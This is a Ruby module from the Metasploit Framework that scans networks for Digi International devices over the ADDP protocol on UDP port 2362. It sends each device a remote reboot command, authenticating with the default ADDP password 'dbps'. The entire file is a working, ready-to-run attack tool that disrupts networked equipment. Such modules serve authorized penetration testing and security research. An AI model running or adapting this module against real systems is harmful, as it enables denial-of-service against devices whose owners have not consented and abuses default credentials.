##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##


require 'msf/core'
require 'rex/proto/addp'

class Metasploit3 < Msf::Auxiliary

  include Msf::Auxiliary::Report
  include Msf::Auxiliary::UDPScanner

  def initialize
    super(
      'Name'        => 'Digi ADDP Remote Reboot Initiator',
      'Description' => 'Reboot Digi International based equipment through the ADDP service',
      'Author'      => 'hdm',
      'References'  =>
        [
          ['URL', 'http://qbeukes.blogspot.com/2009/11/advanced-digi-discovery-protocol_21.html'],
          ['URL', 'http://www.digi.com/wiki/developer/index.php/Advanced_Device_Discovery_Protocol_%28ADDP%29'],
        ],
      'License'     => MSF_LICENSE
    )

    register_options(
    [
      Opt::RPORT(2362),
      OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps'])
    ], self.class)
  end

  def scanner_prescan(batch)
    print_status("Finding ADDP nodes within #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
    @results = {}
  end

  def scan_host(ip)
    Rex::Proto::ADDP.request_config_all.each do |pkt|
      scanner_send(pkt, ip, datastore['RPORT'])
    end
  end

  def scanner_postscan(batch)
    queue = {}
    @results.each_pair do |ip,res|
      queue[ip] = res
    end

    @results = {}

    queue.each_pair do |ip, res|
      info = Rex::Proto::ADDP.reply_to_string(res)
      print_status("#{ip}:#{datastore['RPORT']} Sending reboot request to device with MAC #{res[:mac]}...")
      pkt = Rex::Proto::ADDP.request_reboot(res[:magic], res[:mac], datastore['ADDP_PASSWORD'])
      scanner_send(pkt, ip, datastore['RPORT'])
    end

    # Wait for the final replies to trickle in
    scanner_recv(10) if queue.length > 0
  end

  def scanner_process(data, shost, sport)
    @results[shost] ||= {}
    @results[shost] = Rex::Proto::ADDP.decode_reply(data)

    if @results[shost][:cmd] == Rex::Proto::ADDP::CMD_REBOOT_REP
      print_status("#{shost}:#{sport} Reboot Status: " + Rex::Proto::ADDP.reply_to_string(@results[shost]))
    end
  end

end